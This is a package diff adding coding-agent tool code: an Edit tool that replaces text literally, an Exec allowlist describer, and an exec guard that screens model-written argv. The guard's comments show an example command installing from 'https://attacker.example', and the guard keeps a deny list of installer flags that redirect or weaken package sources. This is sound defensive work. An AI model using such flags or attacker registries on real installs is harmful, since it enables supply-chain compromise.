@nathapp/nax-agent 0.1.0

package/dist/tools/edit-region.js

@@ -0,0 +1,90 @@
+/**
+ * Edit's literal replacement (US-001).
+ *
+ * `String.prototype.replace` reads a string replacement as a template and
+ * expands `$$`, `$&`, `` $` `` and `$'` inside it, so
+ * `source.replace(oldString, newString)` writes something other than the
+ * characters the model supplied whenever `new_string` contains one of those
+ * patterns — `"a".replace("a", "x$$y$&z")` returns `x$yaz`. Composing the
+ * result by hand keeps every character literal.
+ *
+ * File-local on purpose, matching `src/tools/read-continuation.ts`: the
+ * helper is a property of the `Edit` composition, nothing else composes it,
+ * and `src/tools` does not export it from its barrel — `edit.ts` imports it
+ * by relative path.
+ *
+ * US-002 extends the module with `composeEditRegion`, the bounded
+ * Read-compatible view of the region an Edit just wrote: the `[lines a-b of
+ * N]` header and the selected lines, with elision when the replacement spans
+ * more than `MAX_REGION_LINES_SHOWN` lines. Deterministic string composition
+ * — no LLM, no config, no new tool arguments.
+ */
+import { splitModelLines } from "./truncate.js";
+/** Context lines shown on each side of the replacement. */
+const CONTEXT_LINES = 3;
+/** Above this many replacement lines the view elides the middle. */
+const MAX_REGION_LINES_SHOWN = 8;
+function countNewlines(text) {
+    let count = 0;
+    for (let i = 0; i < text.length; i += 1) {
+        if (text[i] === "\n")
+            count += 1;
+    }
+    return count;
+}
+/**
+ * The bounded, Read-compatible view of the region an Edit wrote: a
+ * `[lines a-b of N]` header and the selected lines, or `[file is now empty]`
+ * for an emptied file. Has no trailing newline, and cannot throw on any
+ * string input.
+ */
+export function composeEditRegion({ updated, matchIndex, newStringLength }) {
+    const lines = splitModelLines(updated);
+    const total = lines.length;
+    // Rule 6 — an emptied file has no lines to show and no range to name.
+    if (total === 0)
+        return "[file is now empty]";
+    // Rule 1/2 — the start line and the line holding the replacement's last
+    // character, each clamped to N so a deletion at the very end of a file
+    // still names a real line. A pure deletion has no characters of its own,
+    // so its end line is its start line.
+    const start = Math.min(total, 1 + countNewlines(updated.slice(0, matchIndex)));
+    const end = newStringLength > 0
+        ? Math.min(total, 1 + countNewlines(updated.slice(0, matchIndex + newStringLength - 1)))
+        : start;
+    // Rule 3 — the window is CONTEXT_LINES on each side of the replacement.
+    const a = Math.max(1, start - CONTEXT_LINES);
+    const b = Math.min(total, end + CONTEXT_LINES);
+    const header = `[lines ${a}-${b} of ${total}]`;
+    // Rule 4 — a replacement longer than MAX_REGION_LINES_SHOWN is elided in
+    // the middle: the context and the first 3 replaced lines, a marker naming
+    // the omitted range, then the last 3 replaced lines and the context.
+    // Rule 5 — otherwise the whole window is shown.
+    const selected = end - start + 1 > MAX_REGION_LINES_SHOWN
+        ? [
+            ...lines.slice(a - 1, start + 2),
+            `[... lines ${start + 3}-${end - 3} not shown ...]`,
+            ...lines.slice(end - 3, b),
+        ]
+        : lines.slice(a - 1, b);
+    // Rule 7 — the content has no trailing newline. A window whose last line
+    // is blank (`b` sits on an empty line, or the file is a lone newline) would
+    // otherwise leave the joining delimiter at the very end, so trailing empty
+    // lines are dropped rather than emitted as a bare "\n".
+    let view = [header, ...selected].join("\n");
+    while (view.endsWith("\n"))
+        view = view.slice(0, -1);
+    return view;
+}
+/**
+ * Replace the single occurrence of `oldString` at `matchIndex` with
+ * `newString`, literally.
+ *
+ * The caller has already established uniqueness (`countOccurrences` in
+ * `edit.ts`) and passes the index `source.indexOf(oldString)` found, so this
+ * is pure slicing: everything before the match, the new text verbatim, and
+ * everything after it. No `replace`, and therefore no substitution patterns.
+ */
+export function replaceUniqueLiteral(source, oldString, newString, matchIndex) {
+    return source.slice(0, matchIndex) + newString + source.slice(matchIndex + oldString.length);
+}

package/dist/tools/edit.d.ts

@@ -0,0 +1,25 @@
+/**
+ * Replace one exact occurrence in a file.
+ *
+ * old_string/new_string rather than a line range (design section 10, question
+ * 3): the contract verifies itself. A stale match fails loudly, where a line
+ * range would silently overwrite whatever had moved into those lines.
+ *
+ * Like Write, this has no production consumer in C1.
+ */
+import type { CodingTool } from "./registry.ts";
+/** The file I/O `editTool` performs, behind one seam so a test can make a read or a write fail. */
+export interface EditDeps {
+    stat(path: string): Promise<{
+        readonly size: number;
+    }>;
+    readFile(path: string, encoding: "utf8"): Promise<string>;
+    writeFile(path: string, data: string, encoding: "utf8"): Promise<void>;
+}
+/**
+ * Injectable fs seam, mirroring `_grepDeps` / `_promptLoaderDeps`: the
+ * read/write error arms of `Edit` must be reachable deterministically —
+ * permission bits cannot deny a write to root, and never to a Windows ACL.
+ */
+export declare const _editDeps: EditDeps;
+export declare const editTool: CodingTool;

package/dist/tools/edit.js

@@ -0,0 +1,114 @@
+/**
+ * Replace one exact occurrence in a file.
+ *
+ * old_string/new_string rather than a line range (design section 10, question
+ * 3): the contract verifies itself. A stale match fails loudly, where a line
+ * range would silently overwrite whatever had moved into those lines.
+ *
+ * Like Write, this has no production consumer in C1.
+ */
+import { readFile, stat, writeFile } from "node:fs/promises";
+import { composeEditRegion, replaceUniqueLiteral } from "./edit-region.js";
+/**
+ * Injectable fs seam, mirroring `_grepDeps` / `_promptLoaderDeps`: the
+ * read/write error arms of `Edit` must be reachable deterministically —
+ * permission bits cannot deny a write to root, and never to a Windows ACL.
+ */
+export const _editDeps = {
+    stat: (path) => stat(path),
+    readFile: (path, encoding) => readFile(path, encoding),
+    writeFile: (path, data, encoding) => writeFile(path, data, encoding),
+};
+function countOccurrences(haystack, needle) {
+    if (needle === "")
+        return 0;
+    let count = 0;
+    let index = haystack.indexOf(needle);
+    while (index !== -1) {
+        count += 1;
+        index = haystack.indexOf(needle, index + needle.length);
+    }
+    return count;
+}
+export const editTool = {
+    name: "Edit",
+    description: "Replace one exact occurrence of old_string with new_string in a repository file. Fails if the match is absent or ambiguous. On success the result shows the edited lines with up to 3 lines of context and their line range, so you do not need to Read the file again to check the edit.",
+    inputSchema: {
+        type: "object",
+        properties: {
+            path: { type: "string", description: "Path relative to the repository root" },
+            old_string: { type: "string", description: "Exact text to replace; must occur exactly once" },
+            new_string: { type: "string", description: "Replacement text" },
+        },
+        required: ["path", "old_string", "new_string"],
+    },
+    scope: { pathFields: ["path"] },
+    async run(input, ctx) {
+        const [target] = ctx.resolvedPaths;
+        if (target === undefined)
+            return { content: "no path supplied", isError: true };
+        const oldString = input.old_string;
+        const newString = input.new_string;
+        if (typeof oldString !== "string" || typeof newString !== "string") {
+            return { content: "old_string and new_string must be strings", isError: true };
+        }
+        // Checked before reading, not after: Edit must hold the whole file to
+        // replace within it, so the only way to bound the memory is to refuse.
+        try {
+            const { size } = await _editDeps.stat(target);
+            if (size > ctx.maxFileBytes) {
+                return {
+                    // The reason leads and the path trails, matching Write's and
+                    // ScratchpadWrite's refusal shape. A tool result is capped before the
+                    // model reads it, and a head cut keeps the leading bytes: a message
+                    // that opens with a long path has its diagnosis cut away first, which
+                    // is the one sentence the model needs (src/tools/grep.ts states the
+                    // same rule for its literal-search caveat).
+                    content: `the file is ${size} bytes, which exceeds the ${ctx.maxFileBytes}-byte file ceiling -- refusing to edit ${target}`,
+                    isError: true,
+                };
+            }
+        }
+        catch (err) {
+            return { content: err instanceof Error ? err.message : String(err), isError: true };
+        }
+        let source;
+        try {
+            source = await _editDeps.readFile(target, "utf8");
+        }
+        catch (err) {
+            return { content: err instanceof Error ? err.message : String(err), isError: true };
+        }
+        const occurrences = countOccurrences(source, oldString);
+        if (occurrences === 0) {
+            return { content: `old_string not found in ${target}; the file may have changed`, isError: true };
+        }
+        if (occurrences > 1) {
+            return {
+                content: `old_string is ambiguous: found ${occurrences} times. Include more surrounding context.`,
+                isError: true,
+            };
+        }
+        try {
+            // Literal composition, NOT `source.replace(oldString, newString)`: a
+            // string replacement is read as a template, so the dollar-substitution
+            // patterns it recognises (a dollar sign followed by a dollar sign, an
+            // ampersand, a backtick, or an apostrophe) inside new_string would be
+            // expanded instead of written -- see src/tools/edit-region.ts. The
+            // uniqueness checks above proved there is exactly one match, so
+            // `indexOf` is that match.
+            const matchIndex = source.indexOf(oldString);
+            const updated = replaceUniqueLiteral(source, oldString, newString, matchIndex);
+            await _editDeps.writeFile(target, updated, "utf8");
+            // The view is composed only after the write resolves: a write error
+            // returns the error, never a view. It is a bounded Read-compatible
+            // slice of the region that changed, so the model does not have to
+            // Read the file back to see where its edit landed.
+            const region = composeEditRegion({ updated, matchIndex, newStringLength: newString.length });
+            return { content: `edited ${target}\n${region}` };
+        }
+        catch (err) {
+            return { content: err instanceof Error ? err.message : String(err), isError: true };
+        }
+    },
+};

package/dist/tools/exec-allowlist-text.d.ts

@@ -0,0 +1,18 @@
+/**
+ * Renders a compiled Exec grant's raw patterns as prose, one sentence
+ * fragment reused everywhere an agent needs to know whether "argv" can
+ * actually serve a given request.
+ *
+ * #1937, first half: name the permitted argv forms instead of the bare "only
+ * some commands and forms are permitted", which the model guessed against 32
+ * times, denied every time, across three runs. `patterns` must be the ACTUAL
+ * compiled Exec grant for this project/stage, never the built-in constant, so
+ * an overridden grant is described honestly.
+ *
+ * run-2026-09-14T05-55-54-734Z, Shape B: the same text is also what makes a
+ * RunCommand subcommand denial honest about "argv" rather than recommending
+ * a branch the compiled grant will not actually honour (src/tools/policy.ts
+ * `verbBranch`) -- extracted here so both call sites render the identical
+ * grant the same way, instead of two texts that could drift apart.
+ */
+export declare function describeExecAllowlist(patterns: readonly string[]): string;

package/dist/tools/exec-allowlist-text.js

@@ -0,0 +1,24 @@
+/**
+ * Renders a compiled Exec grant's raw patterns as prose, one sentence
+ * fragment reused everywhere an agent needs to know whether "argv" can
+ * actually serve a given request.
+ *
+ * #1937, first half: name the permitted argv forms instead of the bare "only
+ * some commands and forms are permitted", which the model guessed against 32
+ * times, denied every time, across three runs. `patterns` must be the ACTUAL
+ * compiled Exec grant for this project/stage, never the built-in constant, so
+ * an overridden grant is described honestly.
+ *
+ * run-2026-09-14T05-55-54-734Z, Shape B: the same text is also what makes a
+ * RunCommand subcommand denial honest about "argv" rather than recommending
+ * a branch the compiled grant will not actually honour (src/tools/policy.ts
+ * `verbBranch`) -- extracted here so both call sites render the identical
+ * grant the same way, instead of two texts that could drift apart.
+ */
+export function describeExecAllowlist(patterns) {
+    if (patterns.includes("*"))
+        return "any command is permitted";
+    if (patterns.length === 0)
+        return "no forms are currently granted";
+    return `permitted forms: ${patterns.join(", ")}`;
+}

package/dist/tools/exec-guard.d.ts

@@ -0,0 +1,69 @@
+/**
+ * The two refusals that bracket the grant match for a model-authored argv.
+ *
+ * `validateArgv` runs FIRST, before any pattern matching, so a malformed
+ * token can never be admitted by a `*` in a grant — the allowlist matches
+ * argv shapes, and a shape check must reject garbage before a wildcard gets
+ * a chance to wave it through. `deniedFlag` runs AFTER the grant match,
+ * because a prefix grant (e.g. `bun add*`) gates the verb, not the payload:
+ * `bun add x --registry https://attacker.example` still satisfies `bun add*`
+ * while quietly changing where the installed code comes from. The verb gate
+ * cannot see that — only a payload-aware check after the match can.
+ *
+ * Do not reorder these two checks, and do not merge them into one pass:
+ * a later reader who "simplifies" this into a single sweep silently
+ * removes the guarantee that garbage never reaches the allowlist.
+ */
+export declare function validateArgv(argv: unknown): string | undefined;
+/**
+ * Flags that redirect where code comes from, where it lands, or whether an
+ * untrusted source is accepted at all.
+ *
+ * Not a general "unsafe flag" list — it is specifically the set a verb gate
+ * cannot see. A prefix grant like `npm install*` approves the verb "install
+ * a package the model named"; it says nothing about `--registry`,
+ * `--index-url`/`--extra-index-url`, `-g`/`--global`, `--prefix`, or
+ * `--config`/`--userconfig`, each of which can point the installer at a
+ * different source or a different filesystem location entirely.
+ * `--extra-index-url` is included alongside `--index-url` because pip
+ * treats it identically for this purpose: it adds a second, attacker-chosen
+ * index that a dependency can resolve from, it does not merely replace one.
+ * `--trusted-host` (pip) and `--cert` (pip) sit in the same family from the
+ * trust side rather than the source side: they change whether a source is
+ * *accepted* — `--trusted-host` disables TLS/host verification for a given
+ * host, `--cert` swaps the CA bundle used to validate it. `--strict-ssl`
+ * and `--cafile` are the same trust-boundary controls in the npm/yarn/bun
+ * family; `--ca` is npm's inline-certificate sibling of `--cafile` (a CA
+ * cert passed as a string instead of a file path), so it is included for
+ * the same reason. `--proxy` and `--https-proxy` belong to the source
+ * category, not the trust category: they change the transport endpoint
+ * every registry fetch travels through, which is the same outcome as
+ * `--registry` reached by a different mechanism — an attacker-controlled
+ * proxy MITMs the package fetch whether or not the registry URL itself was
+ * rewritten. Blocking `--registry` while permitting `--proxy` would close
+ * the front door and leave the side door open. `--noproxy` is included for
+ * the mirror-image reason: it routes traffic around a proxy an
+ * organization may be relying on as an egress control. `--unsafe-perm` is
+ * here for the same reason from the other direction: it removes a safety
+ * check on what an installed package's scripts are allowed to do. These
+ * are enumerated, not pattern-matched, because the point is precisely that
+ * no verb pattern can be trusted to imply their absence.
+ *
+ * `--client-cert` is deliberately NOT in this list: it presents a
+ * credential to a host, it does not change which host is contacted or
+ * whether an untrusted host is accepted. That is a different category —
+ * widening this list past "changes where code comes from, or whether an
+ * untrusted source is accepted" makes the criterion useless.
+ */
+export declare const DENIED_FLAGS: readonly string[];
+/**
+ * Normalizes "--flag=value" to "--flag" so a denylist check does not depend
+ * on whether the model wrote the value as a separate token, and lowercases
+ * it so a differently-cased spelling (e.g. `--Registry`) can't slip past a
+ * case-sensitive list membership check. Shared with `src/tools/package-managers-table.ts`,
+ * which screens for a different flag family (workspace-scoping and
+ * scripts-control flags) using the same normalization — reuse this rather
+ * than writing a second, subtly different matcher.
+ */
+export declare function normalizeFlagToken(element: string): string;
+export declare function deniedFlag(argv: readonly string[]): string | undefined;

package/dist/tools/exec-guard.js

@@ -0,0 +1,151 @@
+/**
+ * The two refusals that bracket the grant match for a model-authored argv.
+ *
+ * `validateArgv` runs FIRST, before any pattern matching, so a malformed
+ * token can never be admitted by a `*` in a grant — the allowlist matches
+ * argv shapes, and a shape check must reject garbage before a wildcard gets
+ * a chance to wave it through. `deniedFlag` runs AFTER the grant match,
+ * because a prefix grant (e.g. `bun add*`) gates the verb, not the payload:
+ * `bun add x --registry https://attacker.example` still satisfies `bun add*`
+ * while quietly changing where the installed code comes from. The verb gate
+ * cannot see that — only a payload-aware check after the match can.
+ *
+ * Do not reorder these two checks, and do not merge them into one pass:
+ * a later reader who "simplifies" this into a single sweep silently
+ * removes the guarantee that garbage never reaches the allowlist.
+ */
+// Shell metacharacters that would let an argv element break out of "one
+// literal argument" and be reinterpreted by a shell or a naive re-parse
+// downstream — even though this path never invokes a shell itself, nothing
+// downstream may assume these are absent. Quotes and a backslash are
+// included for the same defense-in-depth reason as the rest of this class:
+// they are the escaping/quoting primitives a shell or re-parser would use
+// to reinterpret the token.
+//
+// Deliberately EXCLUDED: glob and history characters (`* ? [ ] ! #`).
+// `[` and `]` in particular are not a shell-injection vector on their own —
+// blocking them would reject `pkg[extra]`, a legitimate and common Python
+// install specifier (e.g. `uv add "httpx[http2]"`), turning a correct
+// install into a mysterious refusal. Do not "complete the set" by adding
+// these back without re-solving that regression.
+const METACHARACTERS = /[;&|$`()<>\n\r'"\\]/;
+export function validateArgv(argv) {
+    if (!Array.isArray(argv))
+        return "argv must be an array of strings";
+    if (argv.length === 0)
+        return "argv must not be empty";
+    for (const element of argv) {
+        if (typeof element !== "string")
+            return "every argv element must be a string";
+        if (element.length === 0)
+            return "argv elements must not be empty";
+        if (METACHARACTERS.test(element))
+            return `argv element contains a shell metacharacter: ${element}`;
+        // A leading "~" depends on shell expansion this path never performs, so
+        // it would silently resolve to nothing (or to the wrong home directory)
+        // rather than to what the model intended.
+        if (element.startsWith("~"))
+            return `argv element must not start with "~": ${element}`;
+    }
+    // argv[0] is the binary. It must resolve through PATH, not through a
+    // relative or absolute path — a path lets the model point execution at an
+    // arbitrary file it just wrote, which is exactly what the allowlist of
+    // known verbs (bun, npm, pip, ...) exists to prevent. This check runs on
+    // argv[0] like every other element above, not only on the arguments that
+    // follow it — a binary-only exemption would leave a hole an allowlist
+    // grant could never close.
+    const binary = argv[0];
+    if (binary.includes("/") || binary.includes("\\")) {
+        return `the command must resolve through PATH, not a path: ${binary}`;
+    }
+    return undefined;
+}
+/**
+ * Flags that redirect where code comes from, where it lands, or whether an
+ * untrusted source is accepted at all.
+ *
+ * Not a general "unsafe flag" list — it is specifically the set a verb gate
+ * cannot see. A prefix grant like `npm install*` approves the verb "install
+ * a package the model named"; it says nothing about `--registry`,
+ * `--index-url`/`--extra-index-url`, `-g`/`--global`, `--prefix`, or
+ * `--config`/`--userconfig`, each of which can point the installer at a
+ * different source or a different filesystem location entirely.
+ * `--extra-index-url` is included alongside `--index-url` because pip
+ * treats it identically for this purpose: it adds a second, attacker-chosen
+ * index that a dependency can resolve from, it does not merely replace one.
+ * `--trusted-host` (pip) and `--cert` (pip) sit in the same family from the
+ * trust side rather than the source side: they change whether a source is
+ * *accepted* — `--trusted-host` disables TLS/host verification for a given
+ * host, `--cert` swaps the CA bundle used to validate it. `--strict-ssl`
+ * and `--cafile` are the same trust-boundary controls in the npm/yarn/bun
+ * family; `--ca` is npm's inline-certificate sibling of `--cafile` (a CA
+ * cert passed as a string instead of a file path), so it is included for
+ * the same reason. `--proxy` and `--https-proxy` belong to the source
+ * category, not the trust category: they change the transport endpoint
+ * every registry fetch travels through, which is the same outcome as
+ * `--registry` reached by a different mechanism — an attacker-controlled
+ * proxy MITMs the package fetch whether or not the registry URL itself was
+ * rewritten. Blocking `--registry` while permitting `--proxy` would close
+ * the front door and leave the side door open. `--noproxy` is included for
+ * the mirror-image reason: it routes traffic around a proxy an
+ * organization may be relying on as an egress control. `--unsafe-perm` is
+ * here for the same reason from the other direction: it removes a safety
+ * check on what an installed package's scripts are allowed to do. These
+ * are enumerated, not pattern-matched, because the point is precisely that
+ * no verb pattern can be trusted to imply their absence.
+ *
+ * `--client-cert` is deliberately NOT in this list: it presents a
+ * credential to a host, it does not change which host is contacted or
+ * whether an untrusted host is accepted. That is a different category —
+ * widening this list past "changes where code comes from, or whether an
+ * untrusted source is accepted" makes the criterion useless.
+ */
+export const DENIED_FLAGS = [
+    "--registry",
+    "--index-url",
+    "--extra-index-url",
+    "--index",
+    "-i",
+    "--trusted-host",
+    "--cert",
+    "--strict-ssl",
+    "--cafile",
+    "--ca",
+    "--proxy",
+    "--https-proxy",
+    "--noproxy",
+    "--config",
+    "--userconfig",
+    "--global",
+    "-g",
+    "--prefix",
+    "--unsafe-perm",
+];
+/**
+ * Normalizes "--flag=value" to "--flag" so a denylist check does not depend
+ * on whether the model wrote the value as a separate token, and lowercases
+ * it so a differently-cased spelling (e.g. `--Registry`) can't slip past a
+ * case-sensitive list membership check. Shared with `src/tools/package-managers-table.ts`,
+ * which screens for a different flag family (workspace-scoping and
+ * scripts-control flags) using the same normalization — reuse this rather
+ * than writing a second, subtly different matcher.
+ */
+export function normalizeFlagToken(element) {
+    const raw = element.includes("=") ? element.split("=")[0] : element;
+    return raw.toLowerCase();
+}
+export function deniedFlag(argv) {
+    for (const element of argv) {
+        const name = normalizeFlagToken(element);
+        for (const denied of DENIED_FLAGS) {
+            if (name === denied)
+                return denied;
+            // Short options conventionally accept their value in the same token
+            // (`pip -t/tmp/out`, `pip -ihttps://index`). Exact matching alone lets
+            // those forms bypass destination/source controls.
+            if (denied.length === 2 && name.startsWith(denied) && name.length > denied.length)
+                return denied;
+        }
+    }
+    return undefined;
+}

package/dist/tools/git-commit.d.ts

@@ -0,0 +1,59 @@
+import type { CodingTool } from "./registry.ts";
+export declare function buildCommitArgvs(input: Record<string, unknown>): {
+    add: string[];
+    commit: string[];
+} | {
+    error: string;
+};
+/** One unresolved path, and why `partitionNaxOwnedPaths` could not classify it. */
+export interface UnknownPathResult {
+    path: string;
+    reason: string;
+}
+/**
+ * Split `paths` into ones GitCommit may stage and ones it must refuse, per the
+ * caller-supplied `ignorePatterns` (nax passes `NAX_GITIGNORE_ENTRIES` -- the
+ * same SSOT `nax init`, `WorktreeManager`, and
+ * `scripts/check-nax-artifacts-untracked.ts` all enforce).
+ *
+ * A real run staged its own `.nax/scratchpad/*.md` files through this exact
+ * tool (no filter existed at all): the ignore-file reconcile in
+ * `src/execution/lifecycle/gitignore-reconcile.ts` closes this for `git add -A`
+ * and human adds, but is per-clone -- a fresh clone or CI has no local
+ * `.git/info/exclude` yet, so this tool needs its own, independent check.
+ *
+ * The `ignorePatterns` are gitignore PATTERNS (`**\/.nax/scratchpad/`), not
+ * literal paths -- hand-rolled substring/glob matching has bitten this repo
+ * before (see the comment in `src/worktree/manager.ts` on `/foo/runs/` wrongly
+ * "containing" `runs/`). Delegate to `git check-ignore` itself, exactly as
+ * `scripts/check-nax-artifacts-untracked.ts` delegates to `git ls-files` --
+ * both feed `NAX_GITIGNORE_ENTRIES` to git via a temp exclude file rather than
+ * re-implementing pattern matching. `--no-index` is required: a path GitCommit
+ * is being asked to stage for the first time is not yet in the index, and
+ * `check-ignore` without it can decline to answer for such a path.
+ *
+ * THREE-STATE, fail-closed (code review, post-Fix-3): `git check-ignore`
+ * exits 0 (ignored), 1 (not ignored) or 128 (fatal -- e.g. path outside the
+ * repo, or not a git repo at all). `gitWithTimeout` additionally collapses a
+ * hung subprocess to `exitCode: 1` with `timedOut: true` -- so `exitCode ===
+ * 1` ALONE is not "not ignored", it is ALSO what a timeout looks like. Reading
+ * it as "not ignored" without checking `timedOut` first put a nax-owned path
+ * straight into `kept` on any error or timeout: fail-OPEN, silently, exactly
+ * the class of bug this tool exists to prevent -- and under exactly the
+ * contention (parallel worktrees stressing git) most likely to produce one.
+ * A path that cannot be classified goes to neither `kept` nor `skipped`; it
+ * is reported by the caller, loudly, as its own category.
+ *
+ * One `check-ignore` subprocess per path (not batched into one call): batching
+ * would collapse this exact three-state distinction, since git's exit code for
+ * a multi-path invocation reflects "at least one path matched", not a per-path
+ * verdict, and a single fatal path (exit 128) would poison every other path in
+ * the batch as unknown even when they are perfectly answerable individually.
+ * Fine for the batch sizes a single commit call names.
+ */
+export declare function partitionNaxOwnedPaths(root: string, paths: string[], ignorePatterns: readonly string[]): Promise<{
+    kept: string[];
+    skipped: string[];
+    unknown: UnknownPathResult[];
+}>;
+export declare const gitCommitTool: CodingTool;